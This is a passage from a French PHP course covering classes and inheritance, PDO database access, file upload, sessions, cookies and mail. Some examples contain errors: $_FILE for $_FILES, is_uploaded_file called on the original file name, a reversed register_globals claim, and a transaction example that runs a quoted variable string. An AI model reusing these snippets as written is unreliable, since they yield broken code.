7.5.2. __get ()..................................................................................................................67
7.5.3. __set () ..................................................................................................................67
7.5.4. __isset () et __unset ()...........................................................................................68
7.5.5. __toString ()..........................................................................................................68
7.5.6. __call () .................................................................................................................68
7.5.7. __clone () ..............................................................................................................69
7.6. L’héritage.....................................................................................................................69
7.6.1. Définition ..............................................................................................................69
7.6.2. Redéfinition des méthodes....................................................................................69
7.6.3. Classe et méthode abstraite...................................................................................70
7.6.3.1. Classe abstraite...............................................................................................70
7.6.3.2. Méthode abstraite ...........................................................................................70
7.6.4. Classe et méthode finale .......................................................................................71
7.6.4.1. Classe finale ...................................................................................................71
7.6.4.2. Méthode finale................................................................................................72

7.1. Notion de classe
7.1.1. Qu’est-ce qu’une classe ?
Une classe est une collection de variables (attributs) et de fonctions (méthodes) qui
fonctionnent avec ces variables.
7.1.2. Composition d’une classe
7.1.2.1. Les attributs
Les attributs (appelés également propriétés, membres ou champs) sont les variables au sein
d’une classe. Ils sont définis en utilisant un mot clé spécifiant leur visibilité suivi d’une
déclaration classique de variable.
7.1.2.2. Les constantes
Les constantes sont des variables à valeurs non modifiables. La définition d’une constante de
classe se fait en utilisant le mot clé const suivi du nom de la constante (sans $) et de sa
valeur.
7.1.2.3. Les méthodes
Les méthodes (parfois appelées fonctions membres) sont des opérations qui utilisent les
variables et les constantes d’une classe. Elles sont définies de la même manière que les
fonctions traditionnelles en précédent cette déclaration par un mot clé spécifiant le niveau de
visibilité de la fonction.
Remarque
Parmi les méthodes, il existe deux méthodes particulières :
 le constructeur : Il permet la création d’un objet (instanciation). Un constructeur est
une méthode qui porte le même nom que la classe.
 le destructeur : Il permet la suppression d’un objet. Il est défini par void __destruct (
void ).

7.1.3. Visibilité des attributs et des méthodes
La visibilité permet de définir de quelle manière un attribut ou une méthode sera accessible
dans le programme. PHP introduit 3 niveaux différents de visibilité applicables aux
propriétés ou méthodes :
 Publique : C’est l’accès par défaut de PHP si aucune visibilité n’est précisée. Notée
par le mot clé public, la visibilité publique indique qu’un attribut ou méthode est
accessible depuis n’importe où dans le programme principal ou bien dans les classes
mères héritées ou classes filles dérivées.
 Privé : Le mot-clé private permet de déclarer des attributs et des méthodes qui ne
seront visibles et accessibles directement que depuis l’intérieur de la classe. Aucun
accès externe à la classe n’est permis.
 Protégé : L’accès protégé (protected) est un intermédiaire entre l’accès publique et
l’accès privé. Il permet d’utiliser des attributs et méthodes communs dans une classe
parente et ses classes dérivées (héritantes).
7.1.4. Déclaration d’une classe
Une classe est définie en utilisant le mot-clé « class » suivi du nom de la classe qui
commence par une lettre majuscule.
<?php
class NomClasse
{
// Attributs
// Constantes
// Méthodes
}
?>
Exemple
<?php
class Personne
{

// Attributs
public $nom;
public $prenom;
public $dateDeNaissance;
public $taille;
public $sexe;
// Constantes
const NOMBRE_DE_BRAS = 2;
const NOMBRE_DE_JAMBES = 2;
const NOMBRE_DE_YEUX = 2;
const NOMBRE_DE_PIEDS = 2;
const NOMBRE_DE_MAINS = 2;
// Méthodes
public function __construct() { }
public function boire()
{
echo 'La personne boit<br/>';
}
public function manger()
{
echo 'La personne mange<br/>';
}
}
Remarque
L’exemple précédent utilise un constructeur par défaut noté : public function __construct().
7.2. Notion d’objet
7.2.1. Qu’est-ce qu’un objet ?
Un « objet » est une représentation du réel à laquelle on associe des propriétés et des actions.
Un objet est issu d’une classe.

Exemple
Compte bancaire, voiture, panier, etc.
Remarque
 Les propriétés d’un objet sont les attributs propres à un objet.
 Les actions applicables sur un objet sont les méthodes.
7.2.2. Création d’un objet
Une instance est une représentation particulière d’une classe. L’instanciation d’une classe
permet la création d’un objet ayant les attributs et les méthodes de la classe.
Syntaxe
$Nom_de_l_objet = new Nom_de_la_classe;
//Cas de constructeur avec paramètres
$Nom_de_l_objet = new Nom_de_la_classe(param1, param2, …, paramN);
Remarque
 On utilise le mot-clé « new ».
 Si le constructeur a des paramètres, l’instanciation se fait en donnant des valeurs à
ces paramètres.
Exemple
$p1=new Personne;
$panier1=new Panier("pain");
7.3. Utilisation des objets
7.3.1. Accès aux attributs
L’accès aux propriétés d’un objet se fait grâce au nom de l’objet, suivi d’une flèche (->) puis
du nom de l’attribut (sans le signe $).

Syntaxe
$Nom_de_l_objet->Nom_de_la_donnee_membre
Exemple
//Accès en écriture aux attributs nom et prenom de la classe Personne
$personne1->nom = 'Nom';
$personne1->prenom = 'Prénom';
//Accès en lecture aux atributs nom et prenom de la classe Personne
echo "Nom : " , $personne1->nom ;
echo "</br> Prénom : " , $personne1->prenom ;
7.3.2. Accès aux constantes
L’accès aux constantes ne peut se faire qu’en lecture via l’opérateur ::
Syntaxe
Nom_de_la_classe::Nom_de_la_constante
Exemple
<?php
echo 'Chaque personne a ', Personne::NOMBRE_DE_YEUX ,' yeux.';
?>
7.3.3. Accès aux méthodes
L’accès aux méthodes se fait comme pour l’accès aux propriétés (le nom de l’objet suivi
d’une flèche et du nom de la méthode). La méthode est suivie de parenthèses, contenant les
paramètres, si il y’en a.
Syntaxe
$Nom_de_l_objet->Nom_de_la_fonction_membre(param1,param2,...,paramN);
Exemple
<?php

$personne1->boire();
$personne1->manger();
?>
7.4. La variable courante $this
Lorsque l’on désire accéder à une propriété d'un objet
à partir d'une méthode du même objet, il suffit de faire précéder
le nom de la donnée membre par la variable spéciale $this->.
Remarque
Si la propriété d’un objet est définie par le mot clé static, l’accès se fait par SELF::
nomProriété.
Exemple
<?php
class Personne
{
// Attributs
public $nom;
public $prenom;
public $dateDeNaissance;
public $taille;
public $sexe;
// Constantes
const NOMBRE_DE_BRAS = 2;
const NOMBRE_DE_JAMBES = 2;
const NOMBRE_DE_YEUX = 2;
const NOMBRE_DE_PIEDS = 2;
const NOMBRE_DE_MAINS = 2;
// Méthodes
public function __construct() { }
public function modifierNom($nom)
{
$this->nom = $nom;

}
}
7.5. Les méthodes magiques
Les méthodes magiques permettent la manipulation des objets. Elles se reconnaissent par un
double underscore (__) avant leurs noms.
7.5.1. __construct () et __destruct ()
Ces deux méthodes magiques représentent le constructeur et le destructeur par défaut d’une
classe.
7.5.2. __get ()
La méthode __get () est appelée pour lire des données depuis des propriétés inaccessibles.
Son prototype est donné par : public mixed __get (string $nomPropriété).
Exemple
< ?php
class Personne {
private $age ;
public function __get($property) {
if('age' === $property) {
return $this->age;
} else {
throw new Exception('Propriété invalide !');
}
}
}
?>
7.5.3. __set ()
La méthode __set () est sollicitée lors de l’écriture de données vers des propriétés
inaccessibles. Son prototype est donné par : public void __set (string $name , mixed $value).

Exemple
< ?php
class Personne {
private $age ;
public function __set($property,$value) {
if('age' === $property && ctype_digit($value)) {
$this->age = (int) $value;
} else {
throw new Exception('Propriété ou valeur invalide !');
}
}
}
?>
7.5.4. __isset () et __unset ()
La méthode __isset() permet d’utiliser isset() sur une propriété non accessible. Son unique
argument est le nom de la propriété et elle retourne un booléen représentant l’existence de la
propriété.
La méthode __unset () est similaire à __isset () à la seule différence qu’elle utilise unset ().
7.5.5. __toString ()
La méthode __toString() est appelée lorsque l’on tente d’utiliser un objet comme une chaine
de caractères. Elle n’accepte aucun argument et elle retourne une chaine de caractères. Le
développement du corps de la fonction est à la charge du développeur.
7.5.6. __call ()
Il est possible d’utiliser la surcharge de méthode avec __call(). De la même façon que pour
les propriétés, cette méthode magique sert à appeler une méthode qui n’existe pas ou qui est
inaccessible. Elle accepte deux arguments, le nom de la méthode et un tableau d’arguments.

7.5.7. __clone ()
Pour faire une copie d’un objet, il faut le cloner, car si l’on se borne à définir des valeurs
différentes à un objet existant, on va seulement créer une nouvelle référence vers le même
objet.
7.6. L’héritage
7.6.1. Définition
Quand on parle d’héritage, c’est qu’on dit qu’une classe B hérite d’une classe A. La classe A
est donc considérée comme la classe mère et la classe B est considérée comme la classe fille.
La classe B hérite tous les attributs et méthodes de la classe A. Ainsi, n’importe quel attribut
ou méthode publique de la classe A est accessible dans la classe B.
Syntaxe
<?php
class A // Création d'une classe simple.
{
}
class B extends A // Notre classe B hérite des attributs et méthodes de
la classe A.
{
}
?>
7.6.2. Redéfinition des méthodes
Afin d’utiliser une méthode hérité d’une classe parente, on utilise parent ::nomMéthode.
Exemple
<?php
class A
{
public function test()
{

return 'test';
}
}
class B extends A
{
public function test()
{
$retour = parent::test();
echo $retour;
}
}
$b = new B;
$b->test(); // Affiche "test"
?>
7.6.3. Classe et méthode abstraite
7.6.3.1. Classe abstraite
Une classe abstraite est une classe qu’on ne pourra pas se servir directement. La seule façon
d’exploiter les méthodes d’une classe abstraite est de créer une classe héritant de la classe
abstraite.
Syntaxe
<?php
abstract class A // La classe A est abstraite.
{
}?>
7.6.3.2. Méthode abstraite
Une méthode abstraite d’une classe A est une méthode telle que toutes les classes filles de A
doivent l’écrire. Si une classe fille ne réécrit pas une méthode abstraite, une erreur fatale sera
générée.
Remarque
Pour définir une méthode abstraite, il faut que la classe elle-même soit abstraite.

Syntaxe
<?php
abstract class A
{
// On va forcer toute classe fille à écrire cette méthode
abstract public function fct_abstraite(A $cA);
// Cette méthode n'aura pas besoin d'être réécrite.
public function fct_normale ()
{
// Instructions.
}
}
class B extends A
{
// On écrit la méthode « fct_abstraite » du même type de visibilité
que la méthode abstraite « fct_abstraite » de la classe mère A.
public function fct_abstraite (A $cA)
{
// Instructions.
}
} ?>
7.6.4. Classe et méthode finale
7.6.4.1. Classe finale
Le concept des classes finales est exactement l’inverse du concept d’abstraction. Si une
classe est finale, on ne peut pas créer de classe fille héritant de cette classe. Pour déclarer
une classe finale, il faut placer le mot-clé final juste avant le mot-clé class.
Syntaxe
<?php
// Classe abstraite servant de modèle.
abstract class A
{
}

// Classe finale, on ne pourra créer de classe héritant de B.
final class B extends A
{
}
// Erreur fatale, car la classe C hérite d’une classe finale.
class C extends B
{
} ?>
7.6.4.2. Méthode finale
Si une méthode est déclarée finale dans une classe A, toute classe fille de la classe A
comportant cette méthode finale héritera de cette méthode mais ne pourra pas la redéfinir.

Développement côté serveur Chapitre 8.Persistance des données
Chapitre 8. Persistance des données
 Manipuler les fichiers au niveau serveur
 Etablir une connexion à une base de données utilisant PDO
 Exécuter des requêtes en utilisant des méthodes de la classe PDO
Durée
2h15
Plan du chapitre
8.1. Gestion des fichiers .....................................................................................................75
8.1.1. Fonctions de manipulation des fichiers.................................................................75
8.1.2. Upload de fichiers.................................................................................................75
8.1.2.1. Création du formulaire ...................................................................................75
8.1.2.2. Traitement du fichier uploadé côté serveur....................................................75
8.2. Redirection PHP ..........................................................................................................76
8.3. PDO .............................................................................................................................77
8.3.1. Définition ..............................................................................................................77
8.3.2. Gestion de connexion............................................................................................77
8.3.2.1. Connexion à la base de données.....................................................................77
8.3.2.2. Déconnexion de la base de données...............................................................78
8.3.3. Exécution d’une requête .......................................................................................79
8.3.3.1. La méthode query() ........................................................................................79
8.3.3.2. La méthode exec()..........................................................................................79
8.3.4. Exploitation du résultat d’une requête Select .......................................................80
8.3.4.1. Nombre de lignes et de colonnes retournés par une requête ..........................80
8.3.4.2. Accès aux résultats d’une requête ..................................................................80

8.3.5. Les requêtes préparées ..........................................................................................81
8.3.5.1. Définition........................................................................................................81
8.3.5.2. Construction et exécution...............................................................................81
8.3.6. Gestion des erreurs................................................................................................84
8.3.6.1. La méthode errorCode().................................................................................84
8.3.6.2. La méthode errorInfo()...................................................................................84
8.3.6.3. Les exceptions................................................................................................85
8.3.7. Gestion des transactions........................................................................................85

8.1. Gestion des fichiers
8.1.1. Fonctions de manipulation des fichiers
Consulter Annexe D pour parcourir les fonctions de création, lecture, écriture et fermeture
d’un fichier.
8.1.2. Upload de fichiers
8.1.2.1. Création du formulaire
L’upload de fichiers permet d’envoyer depuis un poste client un fichier sur le serveur. Les
données contenues dans le fichier sont envoyées avec les données stockées dans le
formulaire. On parle, alors, de flot de données multiple. Pour tenir compte de ceci, on utilise
l’attribut « enctype » de la balise « form » avec la valeur « multipart/form-data ».
Remarque
 Au niveau de la création du formulaire, on doit ajouter un champ de type « file ».
 On peut ajouter un champ de type « hidden », ayant comme nom (attribut : name)
« MAX_FILE_SIZE » et pour valeur (attribut : value) la taille maximale permise du
fichier uploadé (taille en octets).
Exemple
<form ENCTYPE="multipart/form-data" action="page.php" method="post">
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="35840">
<INPUT TYPE="file" NAME="nomFichier" SIZE=50>
<input type="submit" value="Enregistrer"/>
</form>
8.1.2.2. Traitement du fichier uploadé côté serveur
Les informations sur le fichier uploadé sont récupérées via le tableau super global $_FILE.
Syntaxe
$_FILE[nom][propriété]

Avec :
 nom : désigne le nom du champ du formulaire.
 propriété : elle peut avoir la liste des valeurs suivantes :
- name : désigne le nom original du fichier tel que sur la machine du client.
- type : désigne le type MIME4
du fichier.
- size : désigne la taille, en octets, du fichier uploadé.
- tmp_name : désigne le nom temporaire du fichier sur le serveur.
- error : désigne le code d’erreur associé au téléchargement du fichier. Cette
propriété a été introduite à partir de PHP4.
Remarque
Pour savoir si un fichier a été correctement uploadé par la méthode POST, on peut utiliser la
fonction is_uploaded_file() qui prend comme paramètre le nom du fichier uploadé.
Exemple
if(is_uploaded_file($_FILE['nomFichier']['name'])) {// ou tmp_name
echo $_FILES['nomFichier']['size'];
}
8.2. Redirection PHP
La fonction header() envoie au client l’ordre de changer de page. Le code PHP situé après
l’appel de la fonction header() sera interprété par le serveur, même si le visiteur est déjà parti
à l’adresse spécifiée dans la redirection, ce qui signifie que dans la plupart des cas il faut
faire suivre la fonction header() de la fonction exit() afin de ne pas faire travailler le serveur
pour rien.
4
MIME (Multi-purpose Internet Mail Extensions) : Les types MIME constituent une façon normalisée de
classer les différents types de fichiers sur Internet. Les programmes Internet (serveurs et navigateurs Web)
disposent tous une liste de types MIME afin de pouvoir transférer les mêmes types de fichiers de la même
façon. Un type MIME se compose de deux parties : un type et un sous-type. Ils sont séparés par une barre
oblique (/). Exemple : application/pdf désigne un fichier pdf.

Exemple
<?php
//Redirection simple
header('Location: page.php');
//Redirection en utilisant un chemin (absolu/relatif)
header('Location: /repertoire/page.php');
//Redirection vers un lien externe
header('Location: http://www.lienExterne.com');
?>
8.3. PDO
8.3.1. Définition
L’extension PHP Data Objects, notée PDO, définit une interface d’abstraction pour accéder
à une base de données depuis PHP. PDO fait intervenir le concept de programmation
orientée objet.
Remarque
 PDO requiert les fonctionnalités orientées objet fournies par PHP5 et ne fonctionne
pas avec les versions antérieures de PHP.
 PDO fournit une interface d’abstraction pour l’accès aux données d’une base et non
pas une abstraction de la base de données. (Il n’y a pas une réécriture de SQL).
 PDO supporte la plupart de bases de données telles que MySQL, Oracle,
PostgreSQL, etc.
8.3.2. Gestion de connexion
8.3.2.1. Connexion à la base de données
Indépendamment du driver de la base utilisé, l’établissement d’une connexion se fait en
instanciant la classe PDO.
Syntaxe
$objet_PDO = new PDO ("dsn","nom_d_utilisateur","mot_de_passe") ;

Avec :
 $objet_PDO : indique le nom de l’objet instancié. Ce nom est utilisé pour accéder à
la base de données.
 dsn : (Data Source Name) désigne la source de la base de données. Ce paramètre se
compose comme suit
« type_de_base:host=machine_qui_héberge_la_base;dbname=nom_de_la_base »
avec :
- type_de_base : désigne le type de la base utilisée. Il correspond à l’une des
valeurs suivantes :
 mssql (FreeTDS/Microsoft SQL Server/Sybase)
 firebird (Firebird/Interbase 6)
 informix (IBM Informix Dynamic Server)
 mysql (MySQL 3.x/4.x/5.x)
 oci (Oracle Call Interface)
 odbc (ODBC v3 --IBM DB2 unixODBC et win32 ODBC--))
 pgsql (PostgreSQL)
 sqlite (SQLite 3 et SQLite 2)
- host=machine_qui_héberge_la_base : désigne l’adresse de la base de données.
Par exemple localhost.
- dbname=nom_de_la_base : désigne le nom de la base de données.
 nom_d_utilisateur : désigne le nom de l’utilisateur de la base.
 mot_de_passe : désigne le mot de passe de l’utilisateur de la base de données.
8.3.2.2. Déconnexion de la base de données
La déconnexion de la base est réalisée de 3 façons différentes :
 On assigne null à la variable gérant l’objet PDO. ($objet_PDO = null).
 On utilise la fonction unset(). (unset($objet_PDO)).
 PHP ferme automatiquement la connexion lorsque le script termine son exécution.

8.3.3. Exécution d’une requête
8.3.3.1. La méthode query()
Syntaxe
$res = $objet_PDO->query('requete_SQL') ;
Avec :
 $res : désigne un objet de type PDOStatemet. Il permet la manipulation du résultat
de la requête.
 $objet_PDO : désigne l’objet PDO permettant l’accès à la base de données.
 requete_SQL : c’est une requête Select.
La fonction query() exécute une requête SQL et retourne un jeu de résultats en tant qu’objet
de type PDOStatement. La fonction query() est bien adaptée pour les requêtes Select.
8.3.3.2. La méthode exec()
Syntaxe
$nb = $objet_PDO->exec('requete_SQL') ;
Avec :
 $nb : désigne le nombre de ligne affectées par la requête.
 requete_SQL : c’est une requête de modification/insertion (UPDATE, INSERT,
DELETE).
La fonction exec() exécute une requête SQL. Elle est bien adaptée pour les requêtes autres
que Select et retourne le nombre de lignes affectées par la requête.

8.3.4. Exploitation du résultat d’une requête Select
8.3.4.1. Nombre de lignes et de colonnes retournés par une requête
Les fonctions rowCount() et columnCount() permettent de retourner respectivement le
nombre de lignes et le nombre de colonnes d’une requête.
Syntaxe
$res->rowCount() ; //retourne le nombre de lignes
$res->columnCount() ; //retourne le nombre de colonnes
8.3.4.2. Accès aux résultats d’une requête
Après avoir exécuté la requête Select par la fonction query(), la fonction fetchAll() permet
de renvoyer un tableau à deux dimensions (ligne, colonne) contenant le résultat. L’accès à ce
tableau peut être effectué par les indices ou par les noms des colonnes.
Syntaxe
$res->fetchAll() ;
Avec :
 $res : désigne un objet de type PDOStatemet. Il permet la manipulation du résultat
de la requête.
 requete_SQL : c’est une requête Select.
Exemple
On se donne la table Personne (CIN, Nom, Prénom, Age)
$res = $obj_PDO->query("SELECT * FROM Personne");
$data = $res->fetchAll();
//Accès par les noms des colonnes
foreach ($data as $ligne) {

echo $ligne["Nom"] . " : " . $ligne["Age"] . "<br/>";
}
//Accès par les numéros des colonnes
foreach ($data as $ligne) {
for ($i=0 ; $i<$res->columnCount() ; $i++) {
echo $ligne[$i]." ** ";
}
echo "<br/>";
}
//Accès par les numéros des lignes et les numéros des colonnes
for ($l=0;$l<$res->rowCount();$l++) {
for ($i=0;$i<$res->columnCount();$i++) {
echo $data[$l][$i]." ** ";
}
echo "<br/>";
}
8.3.5. Les requêtes préparées
8.3.5.1. Définition
Une requête préparée (ou requête paramétrable) est une requête récurrente, que l’on compile
avec des variables, et donc réutilisable (exécutée plusieurs fois) en fournissant les valeurs
manquantes. Sa visibilité est limitée à la session fournie par MySQL.
Avantages d’une requête préparée
 Performances (la requête est déjà compilée)
 Éviter les risques d’injection SQL (paramètres transmis sous forme binaire)
 Économiser la bande passante
8.3.5.2. Construction et exécution
a. La méthode prepare()
Syntaxe
PDOStatement prepare (string $requête [, array $options_driver =
array() ])

Avec :
 $requête : désigne la requête SQL préparée.
 $options_driver : Ce tableau contient une ou plusieurs paires « clé=>valeur » pour
définir les valeurs des attributs pour l’objet PDOStatement que cette méthode
retourne.
Si le serveur de base de données prépare avec succès la requête, la méthode
prepare() retourne un objet PDOStatement. Si le serveur de base de données ne réussit pas à
préparer la requête, la méthode prepare() retourne FALSE ou émet une
exception PDOException.
b. La méthode execute()
Syntaxe
bool execute ([ array $paramètres_Entrée] )
Avec :
 $paramètres_Entrée : Un tableau de valeurs avec autant d’éléments qu’il y a de
paramètres à associer dans la requête SQL qui sera exécutée.
La méthode execute() retourne TRUE en cas de succès ou FALSE si une erreur survient.
c. La méthode bindParam()
Syntaxe
bool bindParam (mixed $paramètre , mixed &$variable [, int $data_type =
PDO::PARAM_STR [, int $taille [, mixed $options_driver ]]] )
Avec :
 $paramètre : Il s’agit d’un identifiant. Pour une requête préparée utilisant des
marqueurs nommés, ça sera le nom du paramètre sous la forme :name. Pour une
requête préparée utilisant les marqueurs interrogatifs, ce sera la position indexé -1 du
paramètre.

 $variable : C’est le nom de la variable PHP à lier au paramètre de la requête SQL.
 data_type : désigne le type explicite de données pour le paramètre utilisant la
constante PDO::PARAM_* constants. C’est un paramètre optionnel.
 $taille : désigne la longueur du type de données. C’est un paramètre optionnel.
 $options_driver : cela désigne les options liées au driver. C’est un paramètre
optionnel.
La méthode bindParam() retourne TRUE en cas de succès ou FALSE si une erreur survient.
Elle permet de lier une variable PHP à un marqueur nommé ( :name) ou interrogatif ( ?)
correspondant dans une requête SQL utilisée pour préparer la requête.
Exemple
Exécution d’une requête préparée avec des emplacements nommés
<?php
/* Exécution d’une requête préparée en liant des variables PHP */
$calories = 150;
$couleur = 'rouge';
$sth = $dbh->prepare('SELECT nom, couleur, calories
FROM fruit
WHERE calories < :calories AND couleur = :couleur');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindParam(':couleur', $couleur, PDO::PARAM_STR, 12);
$sth->execute();
?>
Exécution d’une requête préparée avec des marques de positionnement
<?php
/* Exécution d’une requête préparée en liant des variables PHP */
$calories = 150;
$couleur = 'rouge';
$sth = $dbh->prepare('SELECT nom, couleur, calories
FROM fruit
WHERE calories < ? AND couleur = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $couleur, PDO::PARAM_STR, 12);
$sth->execute();

?>
8.3.6. Gestion des erreurs
8.3.6.1. La méthode errorCode()
La méthode errorCode() renvoie le code d’erreur associé avec la dernière opération effectuée
sur la base de données. Sa valeur est 0 (zéro) s’il n’y a pas eu d’erreur.
Exemple
On suppose que la variable $req contient une requête à exécuter sur la base de données $db.
On veut tester le résultat d’exécution de la requête.
$db->query($req); // exécution de la requête
if ($db->errorCode()==0) {
echo 'La requête a été exécutée sans erreur';
}
8.3.6.2. La méthode errorInfo()
La méthode errorInfo() retourne les informations associées à l’erreur survenue lors de la
dernière opération sur la base de données. La méthode renvoie un tableau défini comme
suit :
Élément Information
0
Code d’erreur SQLSTATE (un identifiant
alphanumérique de 5 caractères défini dans
le standard ANSI SQL)
1 Code d’erreur spécifique au driver
2 Message d’erreur spécifique au driver
Remarque
Si le code erreur SQLSTATE n’est pas défini ou s’il n’y a pas d’erreur spécifique du driver,
l’élément suivant l’élément 0 sera défini à NULL.

8.3.6.3. Les exceptions
Les exceptions sont une façon différente de gérer les erreurs. Une exception ne peut être
traitée que si elle est déjà lancée. La gestion des erreurs en utilisant les exceptions nécessite
l’utilisation du bloc try{} et catch().S’il y a une erreur dans le bloc try, PHP passe
automatiquement dans le bloc catch et exécute l’instruction die() (c’est comme la
fonction exit()) et termine le script.
Syntaxe
try{
//Code susceptible de lever une exception
$objet_PDO->setAttribute (PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
}
catch(PDOException $e) {
echo $e->getMessage(); // affiche un message d’erreur
die();
}
8.3.7. Gestion des transactions
Une transaction est un ensemble d’actions qui prend la base de données dans un état
cohérent et elle la rend dans un autre état cohérent. Elle donne l’illusion à l’utilisateur d’être
seule à utiliser la base de données. L’exécution d’une transaction se termine par commit ou
abort (rollback) :
 Commit : la transaction est réussie, ses mises à jour sont incorporées dans la BD. On
utilise la méthode PDO commit().
 Abort : la transaction a échoué, elle n’a aucun effet sur la base de données. On utilise
la méthode PDO rollback().
Remarque
Pour marquer le début d’une transaction, on utilise la méthode PDO beginTransaction().
Exemple
<?php
try

{
//on tente d’exécuter les requêtes suivantes dans une transaction
//on lance la transaction
$pdo->beginTransaction();
//Les 3 requêtes à exécuter
$pdo->query('$req1');
//si jusque là tout se passe bien on valide la transaction
$pdo->commit();
}
catch(Exception $e) //en cas d’erreur
{
//on annule la transation
$pdo->rollback();
//on affiche un message d’erreur ainsi que les erreurs
echo 'Erreur d’exécution, voir les erreurs ci-dessous <br/>';
echo 'Erreur : ' . $e->getMessage() . '<br />';
echo 'N° : ' . $e->getCode();
//on arrête l’exécution s’il y a du code après
exit();
}

Développement côté serveur Chapitre 9. Cookies, sessions et E-mails
Chapitre 9. Sessions, Cookies et E-mails
À l’issue de ce chapitre l’étudiant serait capable d’appliquer le principe de sessions, cookies
et emails dans le développement d’un site web
Durée
45 mn
Plan du chapitre
9.1. Les sessions .................................................................................................................88
9.1.1. Principe .................................................................................................................88
9.1.2. Utilisation..............................................................................................................88
9.1.2.1. Ouverture........................................................................................................88
9.1.2.2. Variables de session .......................................................................................89
9.1.3. Fin de session........................................................................................................89
9.2. Les cookies ..................................................................................................................89
9.2.1. Définition ..............................................................................................................89
9.2.2. Création : la fonction setcookie()..........................................................................90
9.2.3. Accès : tableau superglobal $_COOKIE ..............................................................91
9.2.4. Suppression d’un cookie.......................................................................................91
9.3. Les E-mails..................................................................................................................91

9.1. Les sessions
9.1.1. Principe
Les sessions permettent de préserver des données lors de la visite d’un site. Chaque
personne se voit attribué un identifiant unique appelé identifiant de session, ou SID (Session
IDentifier). Ce SID est soit stocké dans un cookie, soit passé par URL. On peut ainsi définir
un nombre infini de variables qui seront accessibles durant toute la durée de la session.
Remarque
 Le fait de relancer le navigateur, le SID change et la session précédente est perdue.
 On peut connaître son SID grâce à la constante de même nom, ou par la fonction
session_id().
9.1.2. Utilisation
9.1.2.1. Ouverture
Deux méthodes sont préconisées :
 Activer la valeur « session.auto_start » dans le fichier PHP.INI. Les sessions sont,
dans ce cas, démarrées automatiquement lors de l’accès à une page.
 Utiliser la fonction session_start(). Son appel crée une session ou restaure une
session déjà stockée sur le serveur.
Syntaxe
bool session_start (void)
session_start() crée une session ou restaure celle trouvée sur le serveur, via l’identifiant de
session passé dans une requête GET, POST ou par un cookie. Elle retourne TRUE si une
session a pu être démarrée avec succès, et FALSE sinon.
Remarque
 La fonction session_name() permet de récupérer une session nommée. La fonction
prend en paramètre le nom de la session et elle doit être appelée avant la fonction
session_start().

 La session par défaut est appelée « PHPSESSID ». c’est cette session qui est chargée
si session_name() n’est pas appelée.
9.1.2.2. Variables de session
Deux moyens sont utilisés pour créer des variables de session :
 Le premier est avec l’utilisation de la fonction session_register() qui ne fonctionne
que si register_globals est à off dans PHP.INI. Ce mode est, donc, déconseillé.
 Le second consiste à l’utilisation du tableau superglobal $_SESSION.
Exemple
// Création de la variable de session txt
$_SESSION['txt']="Bonjour les amis";
// Affichage de la variable de session txt
echo $_SESSION['txt']
// Suppression de la variable de session txt
unset($_SESSION['txt']);
// Suppression de toutes les variables de session
$_SESSION=array();
9.1.3. Fin de session
La fin d’une session est la destruction du tableau de variables $_SESSION. Elle pourrait être
réalisée en appelant la fonction session_destroy().
9.2. Les cookies
9.2.1. Définition
Un témoin de connexion (en anglais cookie) est un fichier texte de taille limitée (65 KO)
qu’un serveur web installe sur l’ordinateur d’un internaute lors de la visite d’un site web et
qui peut être récupéré par ce serveur lors de visites subséquentes.
Remarque
 Les témoins ne sont ni des logiciels espions ni des virus.

 Les cookies sont généralement stockés dans la liste des fichiers temporaires du
navigateur du client.
9.2.2. Création : la fonction setcookie()
Syntaxe
bool setcookie (string $nom [, string $valeur [, int $expire =
0 [, string $chemin[, string $domaine [, bool $securise =
false [, bool $httponly = false ]]]]]] )
Avec :
 $nom : Il désigne le nom du cookie
 $valeur : Ce champ désigne la valeur du cookie. Cette valeur est stockée sur
l’ordinateur du client. Il ne faut pas stocker des informations importantes (mot de
passe, etc.).
 $expire : C’est le temps après lequel le cookie expire. Il s’agit d’un timestamp.
 $chemin : Le chemin sur le serveur sur lequel le cookie sera disponible.
 $domaine : Le domaine pour lequel le cookie est disponible.
 $securise : C’est un flag de sécurité. Le cookie n’est accessible que via une
connexion sécurisée.
 $httponly : Si ce paramètre vaut TRUE, le cookie ne sera accessible que par le
protocole HTTP. Cela signifie que le cookie ne sera pas accessible via des langages
de scripts, comme Javascript. (Ajouté à partir de PHP5).
Un cookie s’envoie avec la fonction setcookie().Si quelque chose a été envoyé sur la sortie
standard avant l’appel à cette fonction, setcookie() échouera et retournera FALSE. Si
setcookie() réussi, elle retournera TRUE. Cela n’indique pas si le client accepte ou pas le
cookie.
Remarque
 Seul le premier paramètre est obligatoire.
 Un cookie étant envoyé avec les entêtes HTTP, il ne peut pas être envoyé si une
sortie a déjà eu lieu (html, texte, etc.)

 Un cookie n’est pas disponible dans la page qui l’a créé. Il faut soit recharger la
page, soit pointer sur une autre.
 Un cookie ne peut être supprimé qu’avec les mêmes paramètres qui ont servi à sa
création. C’est le navigateur qui supprime le cookie.
9.2.3. Accès : tableau superglobal $_COOKIE
L’accès au cookie se fait grâce au tableau superglobal $_COOKIE. L’index du tableau est le
nom du cookie.
Exemple
setcookie("nomCookie", "test",time()+3600);
if(isset($_COOKIE['nomCookie'])) echo $_COOKIE['nomCookie'];
9.2.4. Suppression d’un cookie
Pour supprimer un cookie, il suffit de donner une date antérieure à la date actuelle à celui-ci.
Exemple
if(!isset($_COOKIE['testcookie'])) {
setcookie("testcookie",'toto',time()+3600);
} else {
setcookie("testcookie",'',time()-3600);
}
if(isset($_COOKIE['testcookie'])) echo "OK";
else echo "Pas de cookie";
Les appels au script précédent vont provoquer successivement l’affichage de « pas de cookie
» et « OK ».
9.3. Les E-mails
Il existe différents moyens pour envoyer un email en PHP, le plus simple étant d’utiliser la
fonction mail().

Syntaxe
bool mail (string $pour , string $sujet , string $message [, string
$entetes_supplementaires [, string $parametres_supplementaires]])
Avec :
 $pour : Ceci désigne Le ou les destinataires du mail. Il doit être un format de mail
valide.
 $sujet : Sujet du mail à envoyer.
 $message : Ceci désigne le message envoyé qui est composé de lignes séparées par
des retours chariot (r) ou des retours à la ligne (n). Chaque ligne ne doit pas
dépasser 70 caractères.
 $entetes_supplementaires : C’est un paramètre optionnel. Il s’agit de la chaîne à
insérer à la fin des en-têtes du mail.
 $parametres_supplementaires : C’est un paramètre optionnel. Il peut être utilisé pour
passer des drapeaux additionnels.
La fonction mail() envoi automatiquement le texte « message » au destinataire(s). Elle
retourne TRUE si le mail est envoyé et FALSE dans le cas contraire.
Remarque
